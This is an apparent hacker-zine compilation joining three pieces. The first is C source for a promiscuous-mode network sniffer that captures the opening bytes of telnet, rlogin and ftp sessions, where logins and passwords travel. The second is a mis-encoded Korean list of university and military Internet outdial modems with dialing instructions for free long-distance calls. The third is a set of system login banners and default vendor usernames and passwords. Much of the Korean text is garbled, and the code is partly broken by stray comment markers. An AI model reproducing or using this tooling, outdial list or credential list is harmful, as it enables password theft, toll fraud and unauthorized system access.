#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
return;
}
/* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;
if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)𝔦
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) && (argv[ac][0] == '-')) {
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
ÀÎÅÍ³Ý ¾Æ¿ô´ÙÀ̾ó(Internet Outdial)À̶õ?
ÀÎÅÍ³Ý ¾Æ¿ô´ÙÀ̾óÀ̶õ ÀÎÅͳݿ¡ ¿¬°áµÈ ¸ðµ©À¸·Î ±×°÷¿¡
¿¬°áÇÏ¿© ´Ù¸¥ °÷À¸·Î Àüȸ¦ ÇÒ ¼ö ÀÖÀº °ÍÀÌ´Ù. Á¤»óÀûÀÎ ¾Æ¿ô´ÙÀ̾óÀº
Áö¿ª ¹øÈ£¸¸À» È£ÃâÇÑ´Ù. GOD(Global OutDial)Àº Àå°Å¸® ÀüÈÀ» ÇÒ
¼ö ÀÖ´Ù. ¾Æ¿ô´ÙÀ̾óÀº Àå°Å¸® BBS¸¦ È£ÃâÇÒ ¼ö ÀÖ´Â °ª½Ñ ¹æ¹ýÀÌ´Ù.
ÀÎÅÍ³Ý ¾Æ¿ô´ÙÀ̾óÀº ¾îµð¿¡ ÀÖ³ª?
ÀÌ FAQ´Â CoTNo #5¿¡¼ »Ì¾Æ¿Â °ÍÀÌ´Ù.
ÀÎÅÍ³Ý ¾Æ¿ô´ÙÀ̾ó ¸ñ·Ï v3.0
¼Ò°³
¿ä»õ ÀÎÅͳݿ¡ µ¹¾Æ ´Ù´Ï´Â ÀÎÅÍ³Ý ¾Æ¿ô´ÙÀ̾óÀÇ ¸ñ·ÏÀÌ
¸î°¡Áö ÀÖ´Ù. ´ÙÀ½¿¡ ³ª¿À´Â °ÍÀº v 2.0°ú ´Ù¸¥ ¸ñ·ÏµéÀ» ÇÕÄ£ °ÍÀÌ´Ù.
´Ù¸¥ »ç¶÷µéÀÇ °ÍÀ» ±×³É ½ÇÀº ´Ù¸¥ ¸ñ·Ï°ú´Â ´Þ¸® ¿ì¸®´Â ¾É¾Æ¼
Çϳª¾¿ ¸ðµÎ Å×½ºÆ®¸¦ Çß´Ù. ¸î¸îÀº "Á¢¼Ó°ÅºÎ" ¶Ç´Â Á¢¼ÓÀ»
½ÃµµÇÒ ¶§ ½Ã°£ÃÊ°ú¿¡ °É¸®±âµµ Çß´Ù. ÀÌ·± °ÍµéÀº Á×Àº °ÍÀ¸·Î Çß´Ù.
Working Outdials
----------------
as of 12/29/94
NPA IP Address Instructions
--- ---------- ------------
215 isn.upenn.edu modem
217 dialout.cecer.army.mil atdt x,xxxXXXXX
218 modem.d.umn.edu atdt9,xxxXXXX
303 yuma.acns.colostate.edu 3020
412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt
412 gate.cis.pitt.edu tn3270,
connect dialout.pitt.edu,
atdtxxxXXXX
413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx
502 outdial.louisville.edu
502 uknet.uky.edu connect kecnet
@ dial: "outdial2400 or out"
602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy
614 ns2400.acs.ohio-state.edu
614 ns9600.acs.ohio-state.edu
713 128.249.27.153 atdt x,xxxXXXX
714 modem.nts.uci.edu atdt[area]0[phone]
804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx
804 ublan2.acc.virginia.edu connect telnet
connect hayes
Need Password
-------------
206 rexair.cac.washington.edu This is an unbroken password
303 yuma.ACNS.ColoState.EDU login: modem
404 128.140.1.239 .modem8|CR
415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
514 cartier.CC.UMontreal.CA externe,9+number
703 wal-3000.cns.vt.edu dial2400 -aa
Dead/No Connect
---------------
201 idsnet
202 modem.aidt.edu
204 dial.cc.umanitoba.ca
204 umnet.cc.manitoba.ca "dial12" or "dial24"
206 dialout24.cac.washington.edu
207 modem-o.caps.maine.edu
212 B719-7e.NYU.EDU dial3/dial12/dial24
212 B719-7f.NYU.EDU dial3/dial12/dial24
212 DIALOUT-1.NYU.EDU dial3/dial12/dial24
212 FREE-138-229.NYU.EDU dial3/dial12/dial24
212 UP19-4b.NYU.EDU dial3/dial12/dial24
215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy"
218 aa28.d.umn.edu "cli" "rlogin modem"
at "login:" type "modem"
218 modem.d.umn.edu Hayes 9,XXX-XXXX
301 dial9600.umd.edu
305 alcat.library.nova.edu
305 office.cis.ufl.edu
307 modem.uwyo.edu Hayes 0,XXX-XXXX
313 35.1.1.6 dial2400-aa or dial1200-aa
or dialout
402 dialin.creighton.edu
402 modem.criegthon.edu
404 broadband.cc.emory.edu ".modem8" or ".dialout"
408 dialout.scu.edu
408 dialout1200.scu.edu
408 dialout2400.scu.edu
408 dialout9600.scu.edu
413 dialout.smith.edu
414 modems.uwp.edu
416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx
416 pacx.utcs.utoronto.ca modem
503 dialout.uvm.edu
513 dialout24.afit.af.mil
513 r596adi1.uc.edu
514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx
517 engdial.cl.msu.edu
602 dial9600.telcom.arizona.edu
603 dialout1200.unh.edu
604 dial24-nc00.net.ubc.ca
604 dial24-nc01.net.ubc.ca
604 dial96-np65.net.ubc.ca
604 gmodem.capcollege.bc.ca
604 hmodem.capcollege.bc.ca
609 128.119.131.11X (X= 1 - 4) Hayes
609 129.119.131.11x (x = 1 to 4)
609 wright-modem-1.rutgers.edu
609 wright-modem-2.rutgers.edu
612 modem_out12e7.atk.com
612 modem_out24n8.atk.com
614 ns2400.ircc.ohio-state.edu "dial"
615 dca.utk.edu dial2400 D 99k #
615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx
616 modem.calvin.edu
617 128.52.30.3 2400baud
617 dialout.lcs.mit.edu
617 dialout1.princeton.edu
617 isdn3.Princeton.EDU
617 jadwingymkip0.Princeton.EDU
617 lord-stanley.Princeton.EDU
617 mpanus.Princeton.EDU
617 mrmodem.wellesley.edu
617 old-dialout.Princeton.EDU
617 stagger.Princeton.EDU
617 sunshine-02.lcs.mit.edu
617 waddle.Princeton.EDU
619 128.54.30.1 atdt [area][phone]
619 dialin.ucsd.edu "dialout"
703 modem_pool.runet.edu
703 wal-3000.cns.vt.edu
713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx"
or "Hayes"
713 modem12.bcm.tmc.edu
713 modem24.bcm.tmc.edu
713 modem24.bcm.tmc.edu
714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx
714 modem24.nts.uci.edu
714 pub-gopher.cwis.uci.edu
801 dswitch.byu.edu "C Modem"
808 irmodem.ifa.hawaii.edu
902 star.ccs.tuns.ca "dialout"
916 129.137.33.72
916 cc-dnet.ucdavis.edu connect hayes/dialout
916 engr-dnet1.engr.ucdavis.edu UCDNET <ret> C KEYCLUB <ret>
??? 128.119.131.11X (1 - 4)
??? 128.200.142.5
??? 128.54.30.1 nue, X to discontinue, ? for Help
??? 128.6.1.41
??? 128.6.1.42
??? 129.137.33.72
??? 129.180.1.57
??? 140.112.3.2 ntu <none>
??? annexdial.rz.uni-duesseldorf.de
??? dial96.ncl.ac.uk
??? dialout.plk.af.mil
??? ee21.ee.ncu.edu.tw cs8005
??? im.mgt.ncu.edu.tw guest <none>
??? modem.cis.uflu.edu
??? modem.ireq.hydro.qc.ca
??? modems.csuohio.edu
??? sparc20.ncu.edu.tw u349633
??? sun2cc.nccu.edu.tw ?
??? ts-modem.une.oz.au
??? twncu865.ncu.edu.tw guest <none>
??? vtnet1.cns.ut.edu "CALL" or "call"
°á·Ð
Á×Àº ¾Æ¿ô´ÙÀ̾óÀ» ¹ß°ßÇϰųª, ¸í·ÉÀÌ ¹Ù²î¾ú°Å³ª,
Æнº¿öµå¸¦ ¿ä±¸Çϰųª Çϸé, ¿ì¸®¿¡°Ô ¿¬¶ôÇÏ¿© ¸ñ·ÏÀÌ µÇµµ·Ï Á¤È®ÇÏ°Ô
ÇÒ ¼ö ÀÖµµ·Ï ÇØ Áֱ⠹ٶõ´Ù. ¸ñ·Ï¿¡ Ãß°¡ÇÏ°í ½ÍÀº °ÍÀÌ ÀÖ´Ù¸é
¿ì¸®¿¡°Ô ¸ÞÀÏÀ» º¸³»¸é ´ÙÀ½ ¹öÀüÀÇ ¸ð·ÏÀÌ ³ª¿Ã ¶§, ÀÚ½ÅÀÇ À̸§À»
¿·¿¡ ³Ö¾î¼ ³ª¿Àµµ·Ï ÇÏ°Ú´Ù. Áñ°Ì°Ô ÀÌ¿ëÇϱ⸦ ....
[ÆíÁýÀÚ ÁÖ: ¿ø·¡ ÃâÆÇÀÌÈÄ¿¡ ÀÌ ¹®¼°¡ °»½ÅµÇ¾ú´Ù]
AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:
[AIX ½Ã½ºÅÛÀº ½±°Ô ¾Ë ¼ö Àִµ¥, ȸéÀ» Áö¿ì°í ·Î±×ÀÎ ÇÁ·ÒÇÁÆ®¸¦ È¸é ¹Ø¿¡]
[Ç¥½ÃÇÏ´Â À¯ÀÏÇÑ UnixÀ̱⠶§¹®ÀÌ´Ù.]
AS/400
~~~~~~
UserID?
Password?
Once in, type GO MAIN
CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.
88/02/16. 02.36.53. N265100
CSUS CYBER 170-730. NOS 2.5.2-678/3.
FAMILY:
Æйи® ÇÁ·ÒÇÁÆ®¿¡¼ ´ÜÁö ¸®Åϸ¸À» Ä¡¸é ´ç¹Ç ÇÁ·ÒÇÁÆ®°¡ ´ÙÀ½°ú °°ÀÌ ³ªÅ¸³´Ù.
USER NAME:
CISCO Router
~~~~~~~~~~~~
FIRST BANK OF TNO
95-866 TNO VirtualBank
REMOTE Router - TN043R1
Console Port
SN - 00000866
TN043R1>
DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700
(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved
µµ¿ò¸»ÀÌ ÇÊ¿äÇϸé HELP¸¦ Ä£´Ù.
Enter username> TNO
Local>
Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)
MPE XL:
GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX
@
PASSWORD =
@
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->
CITICORP (CITY NAME). KEY GHELP FOR HELP.
XXX.XXX
PLEASE SELECT SERVICE REQUIRED.-3->
Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)
Type HELP at the 'Local_15> ' prompt for assistance.
Login password>
Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MMM MMMERIDIAN
MMMMM MMMMM
MMMMMM MMMMMM
MMM MMMMM MMM MMMMM MMMMM
MMM MMM MMM MMMMMM MMMMMM
MMM MMM MMM MMM MMM MMM
MMM MMM MMM MMMMM MMM
MMM MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
Copyright (c) Northern Telecom, 1991
Novell ONLAN
~~~~~~~~~~~~
<Control-A aka smiley face>N
[½Ã½ºÅÛ¿¡ Á¢±ÙÇϱâ À§Çؼ´Â ONLAN/PCÀÇ º¹»çº»À» °¡Áö°í
ÀÖ´Â °ÍÀÌ Á¦ÀÏ ÁÁ´Ù.]
PC-Anywhere
~~~~~~~~~~~
<Control-A aka smiley face>P
[½Ã½ºÅÛ¿¡ Á¢±ÙÇϱâ À§Çؼ´Â PCAnywhere RemoteÀÇ º¹»çº»À»
°¡Áö°í ÀÖ´Â °ÍÀÌ Á¦ÀÏ ÁÁ´Ù.]
PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1
<any text>
ER!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
CONNECT
Primenet V 2.3 (system)
LOGIN (you)
User id? (system)
SAPB5 (you)
Password? (system)
DROWSAP (you)
OK, (system)
ROLM CBX II
~~~~~~~~~~~
ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE: 7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM
COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995
USERNAME: op
PASSWORD:
INVALID USERNAME-PASSWORD PAIR
ROLM-OSL
~~~~~~~~
MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47
RELEASE 8003
OSL, PLEASE.
?
System75
~~~~~~~~
Login: root
INCORRECT LOGIN
Login: browse
Password:
Software Version: G3s.b16.2.2
Terminal Type (513, 4410, 4425): [513]
Tops-10
~~~~~~~
NIH Timesharing
NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.
VM/370
~~~~~~
VM/370
!
VM/ESA
~~~~~~
VM/ESA ONLINE
TBVM2 VM/ESA Rel 1.1 PUT 9200
USERID ¿Í PASSWORD¸¦ Ä¡°í ENTER¸¦ ´©¸¥´Ù.
(Æнº¿öµå´Â ȸ鿡 ³ªÅ¸³ªÁö ¾Ê´Â´Ù.)
USERID ===>
PASSWORD ===>
COMMAND ===>
Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter * Copyright 1991 Xylogics,
Inc.
Checking authorization, Please wait... -
Annex username: TNO - Optional security check
Annex password: - Not always present
Permission granted
annex:
XXX¿¡¼ÀÇ Ã³À½(default) Æнº¿öµå´Â ¹«¾ùÀΰ¡?
AIX
~~~
guest guest
AS/400
~~~~~~
qsecofr qsecofr /* master security officer */
qsysopr qsysopr /* system operator */
qpgmr qpgmr /* default programmer */
also
ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qserv qserv
qsvr qsvr
secofr secofr
qsrv ibmce1
DECserver
~~~~~~~~~
ACCESS
SYSTEM
Dynix (The library software, not the UnixOS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
('later'¸¦ Ä¡¸é ·Î±×ÀÎ ÇÁ·ÒÇÁÆ®¿¡¼ ºüÁ®³ª¿Ã ¼ö ÀÖ´Ù.)
setup <no password>
library <no password>
circ <Social Security Number>
Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER
ÀϹÝÀûÀÎ ÀÛ¾÷Àº Pub, Sys, DataÀÌ´Ù.
ÀϹÝÀûÀÎ Æнº¿öµå´Â HPOnly, TeleSup, HP, MPE, Manager,
GR, RemoteÀÌ´Ù.
Major BBS
~~~~~~~~~
Sysop Sysop
Mitel PBX
~~~~~~~~~
SYSTEM
NeXTSTEP
~~~~~~~~
root NeXT
signa signa
me <null> (Rumored to be correct, not checked)
Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
fax <no password>
PICK O/S
~~~~~~~~
DSA # Desquetop System Administrator
DS
DESQUETOP
PHANTOM
Prolog
~~~~~~
PBX PBX
NETWORK NETWORK
NETOP <null>
Radio Shack Screen Savers
~~~~~~~~~~~~~~~~~~~~~~~~~
RS<STORE_ID_NUMBER>
Rolm
~~~~
CBX Defaults
op op
op operator
su super
admin pwp
eng engineer
PhoneMail Defaults
sysadmin sysadmin
tech tech
poll tech
RSX
~~~
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER
Micro/RSX¿¡ ´ëÇÑ µðÆúÆ® Æнº¿öµå´Â:
MICRO/RSX
¾Æ´Ï¸é ºÎÆà °úÁ¤¿¡¼ ³¯Â¥¸¦ ¹°À» °æ¿ì <CTRL-Z>¸¦ Ä£´Ù. ±×¸®°í ´ÙÀ½À» ÀÌ¿ëÇÏ¿© °èÁ¤À» ¸¸µç´Ù.
RUN ACNT
¶Ç´Â RUN $ACNT
(10 {oct}ÀÌÇÏÀÇ ¼ö´Â Ưº°ÇÑ ±ÇÇÑÀÌ ÀÖ´Ù.)
´Ù½Ã ºÎÆÃÇÏ¿© ³¯Â¥/½Ã°£ ¹°À½À» ±â´Ù¸°´Ù. ^C¸¦ Ä£´Ù. ±×¸®°í MCR ÇÁ·ÒÇÁÆ®¿¡¼ 'abo at."À» Ä£´Ù. . Á¡À» ¸¸µå½Ã Æ÷ÇÔÇÑ´Ù!
